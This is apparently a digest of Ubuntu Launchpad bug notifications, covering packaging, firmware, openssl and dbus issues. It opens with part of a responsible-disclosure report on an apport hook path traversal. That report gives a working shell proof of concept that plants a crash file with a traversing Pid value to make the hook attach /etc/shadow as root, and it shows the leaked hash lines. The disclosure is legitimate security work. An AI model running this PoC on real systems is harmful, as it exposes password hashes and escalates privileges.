  hooks/source_xorg.py (Info)" might additionally contain a path
  traversal vulnerability. This was confirmed by developing a PoC, that
  enables a user to read arbitrary files in the context of the root
  user, leading to elevation of privileges. Exploiting this issue
  requires, that automatic crash reporting is enabled.

  The following excerpt of the file `package-hooks/source_xorg.py` shows the 
vulnerable code:
   
  if True or report.get('SourcePackage','Unknown') == "compiz" and "ProcStatus" 
in report:
  compiz_pid = 0
  pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])   # [0]
  if pid_line:
  compiz_pid = pid_line.groups()[0]
  compiz_state_file = '/tmp/compiz_internal_state%s' % compiz_pid  # [1]
  attach_file_if_exists(report, compiz_state_file, "compiz_internal_states")

  While in [0] the `pid_line` is extracted, this value (if successfully 
matched) is appended to the file path resulting in `compiz_state_file` [1], 
which is subsequently attached to the crash file.
  Using a `Pid` such as `JRN/../../../../etc/shadow` therefore results in the 
file `/etc/shadow` being attached (after creating the directory 
`/tmp/compiz_internal_stateJRN`).

  The following POC (tested on 20.04/21.04 Desktop) exploits this issue
  to read the file `/etc/shadow`:

  mkdir /tmp/compiz_internal_stateJRN/;pid=$'\tJRN/../../../etc/shadow';cat << 
EOF > /var/crash/poc.crash
  ProblemType: Crash
  ExecutablePath: /poc
  Package: source_xorg 123
  SourcePackage: compiz
  ProcStatus:
   Pid:$pid
   Uid:$pid
  EOF

  When reading the crash file (after `whoopsie-upload-all` ran), the contents 
of the file `/etc/shadow` are indeed attached:
  grep -A3 compiz_internal /var/crash/poc.crash
  compiz_internal_states:
   root:!:18393:0:9:7:::
   daemon:*:18375:0:9:7:::
   bin:*:18375:0:9:7:::

  Please credit Stephen Röttger (@_tsuro) in a potential CVE/USN.

  Best regards,
  Maik

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1933832/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1943859] Re: The development package does not include static libraries

[Ubuntu Foundations Team Bug Bot]

The attachment "debdiff.patch" seems to be a debdiff.  The ubuntu-
sponsors team has been subscribed to the bug report so that they can
review and hopefully sponsor the debdiff.  If the attachment isn't a
patch, please remove the "patch" flag from the attachment, remove the
"patch" tag, and if you are member of the ~ubuntu-sponsors, unsubscribe
the team.

[This is an automated message performed by a Launchpad user owned by
~brian-murray, for any issue please contact him.]

** Tags added: patch

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pango1.0 in Ubuntu.
https://bugs.launchpad.net/bugs/1943859

Title:
  The development package does not include static libraries

Status in pango1.0 package in Ubuntu:
  New

Bug description:
  The development package for pango (libpango1.0-dev) does not include
  static libraries so it is not possible to link these libraries
  statically.

  See attached patch with the fix.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/pango1.0/+bug/1943859/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1860826] Re: pam_unix(sudo:auth): Couldn't open /etc/securetty: No such file or directory

[Launchpad Bug Tracker]

This bug was fixed in the package pam - 1.3.1-5ubuntu11

---
pam (1.3.1-5ubuntu11) impish; urgency=medium

  * extrausers.patch: update for compatibility with the removal of
nullok_secure.

 -- Steve Langasek   Wed, 15 Sep 2021
22:39:58 -0700

** Changed in: pam (Ubuntu)
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pam in Ubuntu.
https://bugs.launchpad.net/bugs/1860826

Title:
  pam_unix(sudo:auth): Couldn't open /etc/securetty: No such file or
  directory

Status in pam package in Ubuntu:
  Fix Released
Status in pam source package in Focal:
  Confirmed
Status in pam source package in Groovy:
  Won't Fix
Status in pam package in Debian:
  Fix Released

Bug description:
  Hello, after upgrading to focal I found the following in my journalctl
  output:

  Jan 24 23:07:00 millbarge sudo[32120]: pam_unix(sudo:auth): Couldn't open 
/etc/securetty: No such file or directory
  Jan 24 23:07:01 millbarge sudo[32120]: pam_unix(sudo:auth): Couldn't open 
/etc/securetty: No such file or directory

  
  The login package stopped packaging this file:
  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=731656
  and now forcibly removes the file:
  https://paste.ubuntu.com/p/myh9cGWrHD/

  However, the pam package's pam_unix.so module has not yet been adapted to 
ignore this file:
  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=674857#25

  Thanks

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: libpam-modules 1.3.1-5ubuntu4
  ProcVersionSignature: Ubuntu 5.4.0-9.12-generic 5.4.3
  Uname: Linux 5.4.0-9-generic x86_64
  NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair
  ApportVersion: 2.20.11-0ubuntu15
  Architecture: amd64
  Date: Fri Jan 24 23:35:33 2020
  ProcEnviron:
   TERM=rxvt-unicode-256color
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  SourcePackage: pam
  UpgradeStatus: Upgraded to focal on 2020-01-24 (0 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/pam/+bug/1860826/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1943840] Re: [FFe] Update the ubuntu-desktop-minimal seed to use the firefox snap

[Thomas Ward]

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-meta in Ubuntu.
https://bugs.launchpad.net/bugs/1943840

Title:
  [FFe] Update the ubuntu-desktop-minimal seed to use the firefox snap

Status in ubuntu-meta package in Ubuntu:
  New
Status in ubuntu-release-upgrader package in Ubuntu:
  New
Status in ubuntu-meta source package in Impish:
  New
Status in ubuntu-release-upgrader source package in Impish:
  New

Bug description:
  Per Canonical's distribution agreement with Mozilla, we're making the
  snap¹ the default installation of firefox on desktop ISOs starting
  with Ubuntu 21.10.

  The snap is built and published for amd64, armhf and arm64. It is
  jointly maintained by Mozilla and the Ubuntu desktop team, and
  published by Mozilla.

  This requires updating the desktop-minimal seed, as well as ubuntu-
  release-upgrader.

  ¹ https://snapcraft.io/firefox

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ubuntu-meta/+bug/1943840/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1943840] Re: [FFe] Update the ubuntu-desktop-minimal seed to use the firefox snap

[Oliver Grawert]

for people not using the official announcement channels, here is a link
to the related public announcement (with details on the reasoning and a
place for discussion and feedback):

https://discourse.ubuntu.com/t/feature-freeze-exception-seeding-the-
official-firefox-snap-in-ubuntu-desktop/24210

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-meta in Ubuntu.
https://bugs.launchpad.net/bugs/1943840

Title:
  [FFe] Update the ubuntu-desktop-minimal seed to use the firefox snap

Status in ubuntu-meta package in Ubuntu:
  New
Status in ubuntu-release-upgrader package in Ubuntu:
  New
Status in ubuntu-meta source package in Impish:
  New
Status in ubuntu-release-upgrader source package in Impish:
  New

Bug description:
  Per Canonical's distribution agreement with Mozilla, we're making the
  snap¹ the default installation of firefox on desktop ISOs starting
  with Ubuntu 21.10.

  The snap is built and published for amd64, armhf and arm64. It is
  jointly maintained by Mozilla and the Ubuntu desktop team, and
  published by Mozilla.

  This requires updating the desktop-minimal seed, as well as ubuntu-
  release-upgrader.

  ¹ https://snapcraft.io/firefox

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ubuntu-meta/+bug/1943840/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1943859] [NEW] The development package does not include static libraries

[Alfonso Sanchez-Beato]

Public bug reported:

The development package for pango (libpango1.0-dev) does not include
static libraries so it is not possible to link these libraries
statically.

See attached patch with the fix.

** Affects: pango1.0 (Ubuntu)
 Importance: Undecided
 Status: New

** Patch added: "debdiff.patch"
   
https://bugs.launchpad.net/bugs/1943859/+attachment/5525735/+files/debdiff.patch

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pango1.0 in Ubuntu.
https://bugs.launchpad.net/bugs/1943859

Title:
  The development package does not include static libraries

Status in pango1.0 package in Ubuntu:
  New

Bug description:
  The development package for pango (libpango1.0-dev) does not include
  static libraries so it is not possible to link these libraries
  statically.

  See attached patch with the fix.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/pango1.0/+bug/1943859/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1943840] Re: [FFe] Update the ubuntu-desktop-minimal seed to use the firefox snap

[Brian Murray]

** Tags added: fr-1722

** Also affects: ubuntu-meta (Ubuntu Impish)
   Importance: Undecided
   Status: New

** Also affects: ubuntu-release-upgrader (Ubuntu Impish)
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-meta in Ubuntu.
https://bugs.launchpad.net/bugs/1943840

Title:
  [FFe] Update the ubuntu-desktop-minimal seed to use the firefox snap

Status in ubuntu-meta package in Ubuntu:
  New
Status in ubuntu-release-upgrader package in Ubuntu:
  New
Status in ubuntu-meta source package in Impish:
  New
Status in ubuntu-release-upgrader source package in Impish:
  New

Bug description:
  Per Canonical's distribution agreement with Mozilla, we're making the
  snap¹ the default installation of firefox on desktop ISOs starting
  with Ubuntu 21.10.

  The snap is built and published for amd64, armhf and arm64. It is
  jointly maintained by Mozilla and the Ubuntu desktop team, and
  published by Mozilla.

  This requires updating the desktop-minimal seed, as well as ubuntu-
  release-upgrader.

  ¹ https://snapcraft.io/firefox

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ubuntu-meta/+bug/1943840/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1939413] Re: /usr/lib/aarch64-linux-gnu/libprotobuf.a’ generated with LTO version 9.2 instead of the expected 11.0

[Brian Murray]

** Tags removed: rls-ii-incoming

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to protobuf in Ubuntu.
https://bugs.launchpad.net/bugs/1939413

Title:
  /usr/lib/aarch64-linux-gnu/libprotobuf.a’ generated with LTO version
  9.2 instead of the expected 11.0

Status in elfutils package in Ubuntu:
  New
Status in mozc package in Ubuntu:
  Invalid
Status in protobuf package in Ubuntu:
  Triaged

Bug description:
  When trying to build package mozc for arm64 the following error popped
  up:

  lto1: fatal error: bytecode stream in file ‘/usr/lib/aarch64-linux-
  gnu/libprotobuf.a’ generated with LTO version 9.2 instead of the
  expected 11.0

  Why does the library contain LTO information at all?

  Best regards

  Heinrich

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/elfutils/+bug/1939413/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1943189] Re: "cannot refresh whilst network offline" bug

[Brian Murray]

** Tags added: fr-1721

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to packagekit in Ubuntu.
https://bugs.launchpad.net/bugs/1943189

Title:
  "cannot refresh whilst network offline" bug

Status in packagekit package in Ubuntu:
  New
Status in packagekit source package in Impish:
  New

Bug description:
  In Ubuntu Impish, an issue has been noted in regards to refreshing
  packages in Plasma Discover for upgrade or installation. An error
  appears upon initialization of the Discover interface:

  "cannot refresh whilst network offline"

  This will happen regardless of if a system is online or not.

  I identified a race condition in which this is occurring on systems
  where packagekitd is initialized before the network service is online.
  This was a relatively easy fix and required adding one line to the
  packagekit.service file:

  Wants=network-online.target

  This ensures that packagekitd is not initialized prior to being
  online. If the 90 second deadline isn't met, then packagekitd will
  simply not start as a background process until the user connects to
  the network and initializes it via a graphical utility, such as with
  GNOME Software or Plasma Discover, both of which initialize
  packagekitd on a user level.

  The attached patch will easily apply the fix via normal Debian
  packaging methods.

  Unfortunately, the upstream PackageKit maintainers seem to be
  unwilling to apply this fix themselves, seeing it as not an issue per
  https://github.com/PackageKit/PackageKit/issues/336

  ProblemType: Bug
  DistroRelease: Ubuntu 21.10
  Package: packagekit 1.2.2-2ubuntu1 [modified: 
lib/systemd/system/packagekit.service]
  ProcVersionSignature: Ubuntu 5.13.0-14.14-lowlatency 5.13.1
  Uname: Linux 5.13.0-14-lowlatency x86_64
  NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair nvidia_modeset 
nvidia
  ApportVersion: 2.20.11-0ubuntu68
  Architecture: amd64
  CasperMD5CheckResult: unknown
  CurrentDesktop: KDE
  Date: Thu Sep  9 16:34:12 2021
  InstallationDate: Installed on 2021-03-20 (172 days ago)
  InstallationMedia: Ubuntu-Studio 21.04 "Hirsute Hippo" - Alpha amd64 
(20210320)
  SourcePackage: packagekit
  UpgradeStatus: Upgraded to impish on 2021-06-13 (88 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/packagekit/+bug/1943189/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1943288] Re: Soname change and transition started without a ffe

[Brian Murray]

** Tags removed: rls-ii-incoming

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libffi in Ubuntu.
https://bugs.launchpad.net/bugs/1943288

Title:
  Soname change and transition started without a ffe

Status in libffi package in Ubuntu:
  Confirmed

Bug description:
  It seems the recent upload includes a soname change and is starting a
  transition, such changes at the point of the cycle would require a ffe

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libffi/+bug/1943288/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1943362] Re: update to this pkg crashes fresh install of ubuntu preventing long-in screen from appearing or anything else

[Steve Langasek]

libffi8 3.4.2-1ubuntu5 in impish-proposed is believed to fix the glib-
related regressions in libffi.  Can you please retest to confirm that it
addresses your issue?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libffi in Ubuntu.
https://bugs.launchpad.net/bugs/1943362

Title:
  update to this pkg crashes fresh install of ubuntu preventing long-in
  screen from appearing or anything else

Status in libffi package in Ubuntu:
  Confirmed

Bug description:
  update to this pkg crashed my system.
  I ended up reinstalling ubuntu 21.10 from USB stick, which fixed it.
  I immediately ran "sudo apt -y upgrade" and it updated all packages.
  While updating "libffi8" i received a dpkg error message.
  on reboot, it loads to a screen that "something went wrong, log out and try 
again" and it freezes at that screen.
  i did not install anything beyond whatever the install medium puts on for a 
standard install.
  I am using the laptop now.  after a second reinstall I deselected the libffi8 
package from the upgrade list, and its working just fine, leading me to the 
conclusion that it is the offending package.
  because I can not get to a terminal window or gnome desktop, I cannot run 
apport on the system while crashed and frozen.  sorry.  but if there's anything 
i can provide to help with a fix, let me know, and I will gladly do so.
  please note, the bug report was generated on a working system, not the 
crashed system.  I still have access to the crashed system if you have a 
suggestion how to get any information out of it.  recovery mode does not load 
to gnome either.

  ProblemType: Bug
  DistroRelease: Ubuntu 21.10
  Package: libffi8ubuntu1:amd64 3.4~20200819gead65ca871-0ubuntu5
  ProcVersionSignature: Ubuntu 5.13.0-14.14-generic 5.13.1
  Uname: Linux 5.13.0-14-generic x86_64
  ApportVersion: 2.20.11-0ubuntu68
  Architecture: amd64
  CasperMD5CheckResult: pass
  CurrentDesktop: ubuntu:GNOME
  Date: Sun Sep 12 06:00:36 2021
  InstallationDate: Installed on 2021-07-23 (50 days ago)
  InstallationMedia: Ubuntu 21.10 "Impish Indri" - Alpha amd64 (20210501)
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  SourcePackage: libffi
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libffi/+bug/1943362/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1939986] Re: Missing firmware files, in Ubuntu 20.04 LTS, for initramfs, when it loads i915

[Brian Murray]

** Changed in: initramfs-tools (Ubuntu)
   Status: Confirmed => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to initramfs-tools in Ubuntu.
https://bugs.launchpad.net/bugs/1939986

Title:
  Missing firmware files, in Ubuntu 20.04 LTS, for initramfs, when it
  loads i915

Status in initramfs-tools package in Ubuntu:
  Invalid
Status in linux-firmware package in Ubuntu:
  Confirmed

Bug description:
  Dear all,

  I can see that the linux-firmware is missing firmware files, in Ubuntu
  20.04.1 LTS, for initramfs, when it loads i915.

  Package: linux-firmware 1.187.15
  It contains the following files, for the module i915:
  i915/tgl_dmc_ver2_04.bin  2019-09-13  installed
  i915/tgl_dmc_ver2_06.bin  2020-03-04  installed
  i915/tgl_dmc_ver2_08.bin  2020-08-13  installed
  i915/tgl_guc_35.2.0.bin   2019-11-06  installed
  i915/tgl_huc_7.0.12.bin   2020-03-04  installed
  i915/tgl_huc_7.0.3.bin2019-11-06  installed

  Package: linux-firmware
  MUST at least contain the following files, for the module i915:
  i915/tgl_huc_7.5.0.bin2020-08-13  i915: Add HuC 
firwmare v7.5.0 for TGL
  as the module asks for it, during 'update-initramfs', to avoid:
  W: Possible missing firmware /lib/firmware/i915/tgl_huc_7.5.0.bin for module 
i915

  But it COULD also contain : 
  i915/tgl_dmc_ver2_12.bin  2021-07-28  i915: Add v2.12 DMC for TGL
  i915/tgl_guc_49.0.1.bin   2020-11-24  i915: Add GuC firmware 
v49.0.1 for all platforms
  i915/tgl_guc_62.0.0.bin   2021-06-29  firmware/i915/guc: Add 
GuC v62.0.0 for all platforms
  i915/tgl_huc_7.9.3.bin2021-06-29  firmware/i915/guc: Add 
HuC v7.9.3 for TGL & DG1

  Source: 
  $ modprobe --show-depends --ignore-install i915
  ...
  insmod /lib/modules/5.10.0-1038-oem/kernel/drivers/gpu/drm/i915/i915.ko 

  $ modinfo -F firmware 
/lib/modules/5.10.0-1038-oem/kernel/drivers/gpu/drm/i915/i915.ko
  ...
  i915/tgl_dmc_ver2_08.bin
  i915/tgl_guc_35.2.0.bin
  i915/tgl_huc_7.5.0.bin

  Actual result:
  $ sudo update-initramfs -u
  W: Possible missing firmware /lib/firmware/i915/tgl_huc_7.5.0.bin for module 
i915

  
  Expected result:
  No Warning. and the firmware "i915/tgl_huc_7.5.0.bin" loaded for module i915

  
  Info : INTEL Repository of firmware:
  
https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/tree/i915

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: linux-firmware 1.187.15
  ProcVersionSignature: Ubuntu 5.10.0-1038.40-oem 5.10.46
  Uname: Linux 5.10.0-1038-oem x86_64
  ApportVersion: 2.20.11-0ubuntu27.18
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  chris  1699 F pulseaudio
   /dev/snd/pcmC0D0p:   chris  1699 F...m pulseaudio
  CasperMD5CheckResult: skip
  CurrentDesktop: XFCE
  Date: Sun Aug 15 14:46:47 2021
  Dependencies:
   
  DistributionChannelDescriptor:
   # This is the distribution channel descriptor for the OEM CDs
   # For more information see 
http://wiki.ubuntu.com/DistributionChannelDescriptor
   canonical-oem-somerville-focal-amd64-20200502-85+fossa-bulbasaur+X54
  InstallationDate: Installed on 2021-08-12 (2 days ago)
  InstallationMedia: Ubuntu 20.04 "Focal" - Build amd64 LIVE Binary 
20200502-05:58
  MachineType: Dell Inc. XPS 13 9310
  PackageArchitecture: all
  ProcFB: 0 i915drmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.10.0-1038-oem 
root=UUID=3dae0247-a884-48d8-83b7-fea7c803faa3 ro quiet splash vt.handoff=7
  RelatedPackageVersions:
   linux-restricted-modules-5.10.0-1038-oem N/A
   linux-backports-modules-5.10.0-1038-oem  N/A
   linux-firmware   1.187.15
  SourcePackage: linux-firmware
  UpgradeStatus: No upgrade log present (probably fresh install)
  WifiSyslog:
   
  dmi.bios.date: 07/16/2021
  dmi.bios.release: 3.0
  dmi.bios.vendor: Dell Inc.
  dmi.bios.version: 3.0.4
  dmi.board.name: 08607K
  dmi.board.vendor: Dell Inc.
  dmi.board.version: A00
  dmi.chassis.type: 10
  dmi.chassis.vendor: Dell Inc.
  dmi.modalias: 
dmi:bvnDellInc.:bvr3.0.4:bd07/16/2021:br3.0:svnDellInc.:pnXPS139310:pvr:rvnDellInc.:rn08607K:rvrA00:cvnDellInc.:ct10:cvr:
  dmi.product.family: XPS
  dmi.product.name: XPS 13 9310
  dmi.product.sku: 0991
  dmi.sys.vendor: Dell Inc.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/initramfs-tools/+bug/1939986/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1943840] [NEW] [FFe] Update the ubuntu-desktop-minimal seed to use the firefox snap

[Olivier Tilloy]

Public bug reported:

Per Canonical's distribution agreement with Mozilla, we're making the
snap¹ the default installation of firefox on desktop ISOs starting with
Ubuntu 21.10.

The snap is built and published for amd64, armhf and arm64. It is
jointly maintained by Mozilla and the Ubuntu desktop team, and published
by Mozilla.

This requires updating the desktop-minimal seed, as well as ubuntu-
release-upgrader.

¹ https://snapcraft.io/firefox

** Affects: ubuntu-meta (Ubuntu)
 Importance: Undecided
 Status: New

** Affects: ubuntu-release-upgrader (Ubuntu)
 Importance: Undecided
 Status: New

** Also affects: ubuntu-release-upgrader (Ubuntu)
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-meta in Ubuntu.
https://bugs.launchpad.net/bugs/1943840

Title:
  [FFe] Update the ubuntu-desktop-minimal seed to use the firefox snap

Status in ubuntu-meta package in Ubuntu:
  New
Status in ubuntu-release-upgrader package in Ubuntu:
  New

Bug description:
  Per Canonical's distribution agreement with Mozilla, we're making the
  snap¹ the default installation of firefox on desktop ISOs starting
  with Ubuntu 21.10.

  The snap is built and published for amd64, armhf and arm64. It is
  jointly maintained by Mozilla and the Ubuntu desktop team, and
  published by Mozilla.

  This requires updating the desktop-minimal seed, as well as ubuntu-
  release-upgrader.

  ¹ https://snapcraft.io/firefox

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ubuntu-meta/+bug/1943840/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1943109] Re: Merge 1.1.1l-1 version from Debian

[Brian Murray]

** Tags removed: rls-ii-incoming

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssl in Ubuntu.
https://bugs.launchpad.net/bugs/1943109

Title:
  Merge 1.1.1l-1 version from Debian

Status in openssl package in Ubuntu:
  Fix Committed

Bug description:
  This new upstream version consists only of a couple security fixes,
  and should thus be merged into Impish.

  Upstream changelog:

   Changes between 1.1.1k and 1.1.1l [24 Aug 2021]

*) Fixed an SM2 Decryption Buffer Overflow.

   In order to decrypt SM2 encrypted data an application is expected to 
call the
   API function EVP_PKEY_decrypt(). Typically an application will call this
   function twice. The first time, on entry, the "out" parameter can be 
NULL and,
   on exit, the "outlen" parameter is populated with the buffer size 
required to
   hold the decrypted plaintext. The application can then allocate a 
sufficiently
   sized buffer and call EVP_PKEY_decrypt() again, but this time passing a 
non-NULL
   value for the "out" parameter.

   A bug in the implementation of the SM2 decryption code means that the
   calculation of the buffer size required to hold the plaintext returned 
by the
   first call to EVP_PKEY_decrypt() can be smaller than the actual size 
required by
   the second call. This can lead to a buffer overflow when 
EVP_PKEY_decrypt() is
   called by the application a second time with a buffer that is too small.

   A malicious attacker who is able present SM2 content for decryption to an
   application could cause attacker chosen data to overflow the buffer by 
up to a
   maximum of 62 bytes altering the contents of other data held after the
   buffer, possibly changing application behaviour or causing the 
application to
   crash. The location of the buffer is application dependent but is 
typically
   heap allocated.
   (CVE-2021-3711)
   [Matt Caswell]

*) Fixed various read buffer overruns processing ASN.1 strings

   ASN.1 strings are represented internally within OpenSSL as an ASN1_STRING
   structure which contains a buffer holding the string data and a field 
holding
   the buffer length. This contrasts with normal C strings which are 
repesented as
   a buffer for the string data which is terminated with a NUL (0) byte.

   Although not a strict requirement, ASN.1 strings that are parsed using 
OpenSSL's
   own "d2i" functions (and other similar parsing functions) as well as any 
string
   whose value has been set with the ASN1_STRING_set() function will 
additionally
   NUL terminate the byte array in the ASN1_STRING structure.

   However, it is possible for applications to directly construct valid 
ASN1_STRING
   structures which do not NUL terminate the byte array by directly setting 
the
   "data" and "length" fields in the ASN1_STRING array. This can also 
happen by
   using the ASN1_STRING_set0() function.

   Numerous OpenSSL functions that print ASN.1 data have been found to 
assume that
   the ASN1_STRING byte array will be NUL terminated, even though this is 
not
   guaranteed for strings that have been directly constructed. Where an 
application
   requests an ASN.1 structure to be printed, and where that ASN.1 structure
   contains ASN1_STRINGs that have been directly constructed by the 
application
   without NUL terminating the "data" field, then a read buffer overrun can 
occur.

   The same thing can also occur during name constraints processing of 
certificates
   (for example if a certificate has been directly constructed by the 
application
   instead of loading it via the OpenSSL parsing functions, and the 
certificate
   contains non NUL terminated ASN1_STRING structures). It can also occur 
in the
   X509_get1_email(), X509_REQ_get1_email() and X509_get1_ocsp() functions.

   If a malicious actor can cause an application to directly construct an
   ASN1_STRING and then process it through one of the affected OpenSSL 
functions
   then this issue could be hit. This might result in a crash (causing a 
Denial of
   Service attack). It could also result in the disclosure of private memory
   contents (such as private keys, or sensitive plaintext).
   (CVE-2021-3712)
   [Matt Caswell]

  Debian changelog:

  openssl (1.1.1l-1) unstable; urgency=medium

* New upstream version.
  - CVE-2021-3711 (SM2 Decryption Buffer Overflow).
  - CVE-2021-3712 (Read buffer overruns processing ASN.1 strings).

   -- Sebastian Andrzej Siewior   Wed, 25 Aug
  2021 00:19:05 +0200

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openssl/+bug/1943109/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : 

[Touch-packages] [Bug 1871538] Re: dbus timeout-ed during an upgrade, taking services down including gdm

[Lukas Märdian]

Addressed in FR-1460

** Tags removed: rls-ii-incoming

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to accountsservice in Ubuntu.
https://bugs.launchpad.net/bugs/1871538

Title:
  dbus timeout-ed during an upgrade, taking services down including gdm

Status in D-Bus:
  Unknown
Status in systemd:
  New
Status in accountsservice package in Ubuntu:
  Invalid
Status in dbus package in Ubuntu:
  Incomplete
Status in gnome-shell package in Ubuntu:
  Invalid
Status in accountsservice source package in Focal:
  Invalid
Status in dbus source package in Focal:
  Incomplete
Status in gnome-shell source package in Focal:
  Invalid
Status in accountsservice source package in Groovy:
  Invalid
Status in dbus source package in Groovy:
  Incomplete
Status in gnome-shell source package in Groovy:
  Invalid
Status in accountsservice source package in Hirsute:
  Invalid
Status in dbus source package in Hirsute:
  Incomplete
Status in gnome-shell source package in Hirsute:
  Invalid
Status in accountsservice source package in Impish:
  Invalid
Status in dbus source package in Impish:
  Incomplete
Status in gnome-shell source package in Impish:
  Invalid

Bug description:
  This morning I found my computer on the login screen.
  But not the one of the screen log, no a new one - so something must have 
crashed.

  Logging in again confirmed that all apps were gone and the gnome shell
  was brought down what seems like triggered by a background update o
  accountsservice.

  As always things are not perfectly clear :-/
  The following goes *back* in time through my logs one by one.

  Multiple apps crashed at 06:09, but we will find later that this is a follow 
on issue of the underlying gnome/X/... recycling.
  -rw-r-  1 paelzer  whoopsie 52962868 Apr  8 06:09 
_usr_bin_konversation.1000.crash
  -rw-r-  1 paelzer  whoopsie   986433 Apr  8 06:09 
_usr_lib_x86_64-linux-gnu_libexec_drkonqi.1000.crash

  
  rdkit was failing fast and giving up (that will be a different bug, it just 
seems broken on my system):
  Apr 08 06:10:13 Keschdeichel systemd[1]: Started RealtimeKit Scheduling 
Policy Service.
  Apr 08 06:10:13 Keschdeichel rtkit-daemon[1729333]: Successfully called 
chroot.
